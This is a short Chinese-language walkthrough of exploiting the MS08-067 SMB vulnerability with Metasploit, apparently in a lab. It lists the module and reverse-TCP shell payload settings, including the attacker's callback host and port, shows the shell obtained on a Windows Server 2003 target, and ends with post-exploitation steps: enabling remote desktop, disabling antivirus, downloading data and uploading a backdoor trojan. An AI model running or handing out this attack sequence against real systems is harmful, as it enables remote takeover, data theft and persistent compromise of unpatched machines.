MS08-067

MS08-067漏洞是2008年底爆出的特大漏洞，攻击者利用受害者主机默认开发的SMB服务端口445，发送恶意资料到该端口，通过MSRPC接口调用Server服务的一个函数，并破坏程序的栈缓冲区，获得远程代码执行权限（Remote Code Execution），从而完全控制主机。

漏洞
MS08-067

攻击
msf > search ms08_067
搜索MS08_067相关渗透攻击代码

msf > use exploit/windows/smb/ms08_067_netapi
调用ms08_067_netapi渗透模块

msf exploit(ms08_067_netapi) > show payloads
查看此渗透模块所对应的攻击载荷

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp
设置shellcode，当渗透成功后，通过shell_reverse_tcp回连攻击机，并创建TCP会话

msf exploit(ms08_067_netapi) > show options
查看攻击所需要的基础参数，包括源目IP、端口、目标操作系统等

msf exploit(ms08_067_netapi) > show targets
查看可选的目标系统类型，一般通过nmap等前期扫描工具确定攻击对象

nmap -A IP地址
通过nmap判断系统类型，提高渗透几率
msf exploit(ms08_067_netapi) > set RHOST 10.10.10.130

设置目标IP
RHOST => 10.10.10.130
msf exploit(ms08_067_netapi) > set LHOST 10.10.10.131

LHOST => 10.10.10.131
msf exploit(ms08_067_netapi) > set LPORT 5000

设置本地端口，此端口为渗透后靶机回连端口
LPORT => 5000

msf exploit(ms08_067_netapi) > set target 5
设置目标操作系统代码为5，这里指的是windows server 2003

target => 5
msf exploit(ms08_067_netapi) > show options

再次检查渗透攻击参数
msf exploit(ms08_067_netapi) > exploit

执行渗透
[] Started reverse handler on 10.10.10.131:5000
[] Attempting to trigger the vulnerability...
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>
渗透成功，拿到shell！

后渗透

开启远程桌面
关闭杀毒软件
拷贝文件
下载资料
上传后台木马